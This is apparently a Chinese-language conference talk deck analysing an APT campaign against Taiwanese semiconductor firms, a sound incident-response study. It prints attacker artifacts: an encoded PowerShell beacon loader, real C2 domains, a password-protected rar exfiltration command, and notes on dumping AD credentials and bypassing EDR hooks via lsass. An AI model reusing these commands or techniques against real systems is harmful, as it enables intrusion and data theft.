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奧義智慧 Proprietary and Confidential Information
Operation SemiChimera針對臺灣半導體產業的 A PT 攻擊
$ whoami
► 林昆立 / Inndy
► 奧義智慧科技資安研究員
► 惡意程式分析、Windows 安全攻防技術
► 逆向工程愛好者
► 從國中開始學逆向工程
► 累積十年以上 Programming 經驗，分析過數百個程式
► 演講經歷
► 2020 BlackHat USA
► 2020 HITB Lockdown 002
► 2019 ROOTCON
演講大綱
► 背景簡介
► 案例分析
► 竹科 A 公司
► 竹科 B 公司
► 惡意程式分析
► CobaltStrike Beacon
► WinRAR
► SkeletonKey Injector
► 總結
半導體產業鏈
► TSMC 具有大量外國訂單
► Apple
► AMD
► 華為
► Intel（尚未證實？）
Taiwan No. 1
► 台灣半導體產業在國際間扮演重要的地位，在全球供應鏈中扮演重要角色
► 針對台灣半導體的網路攻擊► 影響台灣經濟
► 對全球供應鏈造成影響
供應鏈攻擊的嚴重性
重要資安事件回顧
► OT Security 議題相當熱門，產線營運出錯，會造成立即性的經濟損失
► 然而 IT 安全仍相當重要，亦會造成深遠的影響
臺積電 Wannacry ASUS ShadowHammer 中油 ColdLock
半導體產業大規模APT攻擊
在2018 ~ 2019年間，我們偵測到數件針對半導體產業的APT攻擊
攻擊位於新竹科學園區的廠商
研究報告發布後，收到各種管道的回應，這段期間國內外至少有 7 家半導體廠商被
同一個攻擊者集團鎖定
攻擊範圍廣泛
被攻擊的廠商在其各自領域，皆處於領先的地位。而被攻擊的廠商包含有些互為競
爭者、合作夥伴、上下游公司、子母公司。
從點的攻擊到整體產業面的攻擊
調查總覽
調查時間：2018~2019 調查廠商：3+ 總分析端點數：30k端點
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案例分享
案例分享
► 兩間公司在各自的領域都是處於領先的位置
► 調查的模式以及階段不同，因此對於案情的分析及解讀也有所差異
A 公司
• 由我們公司長期監控的客戶，因此掌握了較多的細節
B 公司
• 一次性的 IR 服務，因此過於久遠的資訊沒辦法全盤了解
後續投影片中，機器、使用者名稱皆經過去識別化，非原本名稱
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竹科 A 公司
A公司事件概述
► 時間：2019-12-09 ~ 2019-12-10
► 15 個端點遭到入侵，6個帳號被利用
► 4 個惡意程式以及 8 個 C2 伺服器
Cobalt Strike
► Cobalt Strike beacon 偽裝成 Google Update.exe
► VirusTotal 還沒有人上傳過，沒人看過的樣本
► 後門會注入到其他 Process 裡面執行
► 分別在 Server-LAUREN & PC-SHENNA 兩臺端點上面看到
利用雲端服務建置中繼站
► 網路層不太容易看出 C2 連線，因為 C2 伺服器放在 Google 雲端平台上
► 而且惡意程式偽裝成Google Chrome 更新程式
► 其他雲端服務廠商也可能被濫用
根因分析 - PC-SHENNA
► 我們透過時間軸的分析，可以得知 PC-SHENNA 主機的 APT 後門程式是由 Server-LAUREN 主機連線進來所放置
Server-LAUREN
PC-SHENNA
schtasks
抓準下班前打一波攻擊
遠端執行工具
schtasks
► Cobalt Strike beacon 從 NB-CLAIR 被複製到 Server-LAUREN，接著使用schtasks 在 Server-LAUREN 執行
wmic
► Server-LAUREN 透過 wmic 在另外一個端點上檢查是否有外網連線
根因分析 - Server-LAUREN
► 根據前述線索，進一步勾勒案情圖
Server-MELINA
Server-SHANAE
Server-LAUREN
PC-SHENNA
schtasks
wmic
schtasks
根因分析 - Server-LAUREN
► Server-LAUREN 對 Server-MELINA(DC) 的 registry 及 ntds.dit 檔案使用打包工具打包後，後續可以離線進行破解
AD 資料庫
► 把 registry 及 ntds.dit 兩個檔案進行打包，以利後續離線破解密碼
ntds.dit 為 AD 的資料庫，裡面包含網域中主機及成員的資訊 (例如 ID、
Name、Email 及 Password Hash)，此檔案為一個加密檔案，金鑰放
置於 SYSTEM registry 中，因此這也是為什麼駭客需要將 registry 資
料一起打包的原因
根因分析 - NB-CLAIR
► 透過 AI 的關聯，我們發現其一樣透過 Schedule Task 的方式，遠端將惡意程式排程至Server-LAUREN 主機
► 使用 User-01 帳號進行操作
Server-MELINA
Server-SHANAE
Server-LAUREN
PC-SHENNA
schtasks
wmic
schtasks
NB-CLAIR
schtasks
根因分析 - NB-CLAIR
► 從 NB-CLAIR 主機的時間軸進行分析，我們發現惡意的遠端排程執行前 6 分鐘，IP1 使用RDP 及 User-01 帳號登入成功
► 我們判斷此為本次攻擊的源頭 晚班？加班？
根因分析 – IP1
► IP1 為一個未掃描主機，此 IP 與多筆帳號有關聯，判斷此 IP 為跳板主機或是 VPN 所使用
► 近期因 COVID-19 疫情影響，WFH & VPN 議題頻繁的被討論。在這案例中，也可以看到VPN並不是完全安全的，切勿將VPN當成唯一的防線。
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竹科 B 公司
B公司事件概述
► 調查經過
► 數據統計
B公司被攻擊 與C公司合作 雙方介接網路 C公司發現異常 委託調查
時間 Event數量 入侵端點 資料外洩 惡意程式
2018/8/7 ~ 2019/9/18 140k+ 14 9 10
Cyber Situation Graph► 已經被打得亂七八糟了
► 機器多時間長，難以人工調查，經
過我們AI分析後出來的結果
❖2018.11
❖2019.03
❖2019.06
❖2019.09
❑每季定期回
來收資料
❖2019.11，測試新武器 SkeletonKey Injector
❖2019.12，新拿下的機器
PowerShell
► 無檔案攻擊在 10 個端點中被發現，其中兩個是 Domain Controller
► PowerShell 執行 Cobalt Strike beacon 接著遷移到系統服務的 process 裡面（svchost.exe）
powershell -nop -w hidden -encodedcommandJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwBiAFcALwBpAE8AQgBEACsAMwBQAHcASwBYADQAVgAwAG8ASgBaADMAdABnAHQAZABWAFYAbwBuAFEAQQBrAGwAbABKAGMAVwAyAGsAWABWAHkAUwBRAG0AdQBEAGcASgBkAFoAeQBtAGQATABmAC8ALwBTAFkAdgA1AEoAYgAyAGIAawArADYAaQB4AFEAbABuAHMAdwA4AE0AOAA5ADQAUABKAE0AcABsAGMAVwBwAEYATQB5AFUAaABtAGQAUgBWAEoAeABSADQAVABQ
C2 Server
► 經分析下列端點感染 APT 惡意程式，駭客透過 Cobalt Strike 駭客工具將惡意程式注入系統服務中，進而操作並連線至中繼站。
► 中繼站： striking-pipe-253603.appspot.com、 172.217.27.148:443 、 msplatform-updates.azureedge.net 、 chrome-applatses.appspot.com
打包密碼
► 這次的 C2 放在 Google App Engine 和Azure 上
► appspot[.]com
► azureedge[.]net
► 將 rar 命名為RecordedTV.ms, jucheck.exe 及vmware.log等正常檔案的名稱，混淆使用者
► 用前面提過的 rar.exe 打包文件資料，壓縮檔密碼是 "fuckyou.google.com11"
c:\users\xxxx\libraries\RecordedTV.ms a -m5 -v71m -hpfuckyou.google.com11 vmlum-vss.log vmlum-vmvss.logC:\Windows\system32\cmd.exe /C c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r -hpfuckyou.google.com11 vmlum-vmopt.log “\\<Hostname>\personal\<Username>\<Product>-Traning-v1.1.pptx" > vmlumss.log & dir vmlum-vmopt*
洩漏的資料
► 在調查過程中，我們清點遭外洩的檔案
► 由此可知，攻擊者目標為技術文件、智慧財產的盜取
\\Users\<Account>\Project\Roadmap\\Users\<Account>\Backup\Workspace\\Users\<Account>\chip and SDK setting\\Users\<Account>\<Productname> SDK Installation guide.pdf
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惡意程式分析
惡意程式列表
► Cobalt Strike Beacon
► WinRAR
► SkeletonKey Injector
► Winnti Backdoor
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Cobalt Strike Beacon
Cobalt Strike Beacon
► Cobalt Strike Beacon was used as main backdoor
► 以覆蓋 GoogleUpdate.exe 作為滯留手法
► 同樣的程式出現在兩家公司中
Cobalt Strike 組成元件
► Stager
► 小型的程式或 Shellcode，用於載入其他的 payload
► Beacon
► 具有完整功能的後門
可疑的 R-W-X 記憶體
► 我們的產品偵測到記憶體中存在 CobaltStrike Beacon 後門
混合型 Payload：PE 即 Shellcode
► "MZ" 檔頭可以被解碼成正常的指令："pop r10" (x86 64bits)
► "dec ebp; pop edx" (x86 32bits)
► Reflective Loader 位於 0x1791c
► 把 PE 自身在記憶體中載入好
定位 shellcode 自身位址，並且當作第一個參數 (rdi)
計算 Reflective Loader 位址並且執行
透過 Named Pipe 傳送 Shellcode
CobaltStrike 執行策略
Malicious Process
CobaltStrikeBeacon Module
Target Process
Stager Shellcode Real PayloadExecute
Spawn
Execute
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WinRAR
WinRAR
► 攻擊者使用 rar.exe 來壓縮並加密竊取的檔案
► 相同目錄下存在相似檔名 (RecordedTV.library-ms) 的資料夾
修改版 rar.exe
► 2009 就被上傳到 VirusTotal
► WinRAR 3.60b8 的 rar.exe
► 有 1byte 差異，並且不是用於破解的補丁
► 該補丁可能會導致程式 crash
► 可能性一：刻意改變檔案 hash
► 可能性二：複製過程出錯的 bit-flip
檔案 diff 反組譯結果
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SkeletonKey Injector
SkeletonKey Injector
► 由 dumpert 和 mimikatz 組成的新型惡意程式
► Mimikatz 是非常知名的駭客工具
⚫ 大部分的人只會用它來 dump 密碼跟 hash，但其實有更多功能
⚫ 繞過 GPO 啟動 cmd, taskmgr, regedit、偷看踩地雷盤面、Pass the {ticket,hash}
► Dumpert 是用來隱蔽 dump lsass.exe 的工具
出現在不同的 Domain Controller 上
Forwarded Exports
Dumpert
► 以直接 system call 的方式來操作記憶體，讀取 lsass.exe 記憶體
► Windows 的 syscall numbers 在不同版本會改變
► Unix 系統新增 syscall 會往後遞增
► 官方有提供文件的 Windows API 是唯一穩定的界面
► 所以 Windows 的 shellcode 一定從 PEB 開始找 DLL 跟 export function
Dumpert：實作方式
► 以 NTDLL 的 RtlGetVerion 來讀取 Windows 版本資訊
► 根據不同版本使用不同的 syscall function
► 繞過所有 Ring-3 hook
SkeletonKey
► DELL Secureworks 在 2015 發現的惡意程式，全新的 AD 攻擊手法
► 在 Domain Controller 埋下後門密碼
► 使用者原本的密碼正常運作，其他錯誤的密碼還是會驗證失敗
► 注入程式到 lsass.exe 修改 DC 認證的流程
SkeletonKey Injector
► 現代 EDR 不喜歡在 kernel 裡面放 hook
► 不穩定、軟體衝突，有問題就 BSOD 給你看
► 從 dumpert 和 mimikatz 複製程式碼重組
► 並且只留下必要的 function
► 把 mimikatz 存取記憶體的 function 換成 dumpert 的實作
► 繞過 Ring3 hook 存取 lsass.exe
SkeletonKey Injector 的衝擊
► Ring3 hook 無法偵測或阻擋
► 不需要用管理員帳號進行橫向移動
► 管理員帳號的認證記錄太容易引起關注
► 每天都有大量的普通使用者登入成功的事件
► 難以發覺 "異常" 的登入記錄
► 清除 SkeletonKey 一定要重開 domain controller
► DC 上面如果還有其他服務，你跟我說要重開機…？！
► 修改密碼不會清除 SkeletonKey
► 可以種 SkeletonKey 表示 DC 被打下來…
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Winnti Backdoor
內網探測工具：baseClient.exe
► 起初我們認為這只是一個網路探測工具
► 早期的 Event log 保留不夠完整
Winnti Backdoor
► 經過後續分析，我們發現其實是 Winnti 後門
► 0xABC18CBA 是 Winnti 通訊協定中的常數
► 經過程式結構比對，部分程式相同
重點整理
► 非常大規模的 APT 行動，已知至少有 7 家公司受害
► 非常精細、針對性的攻擊，打半導體產業、子公司、商業夥伴、競爭對手
► 目標是竊取技術機密（文件、原始碼、SDK、晶片設計圖）
► 對與整體產業影響非常大
► 攻擊者使用開源、商業工具，避免身份被指認
► 在兩個案例分享中，VPN 和 AD 環境都被攻陷，IT 架構的韌性很重要
► 使用 SkeletonKey 攻擊手法，躲避偵測並且快速的橫向移動
► 沒有絕對安全的系統，及早發現、及時治療
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Q&A感謝您的聆聽
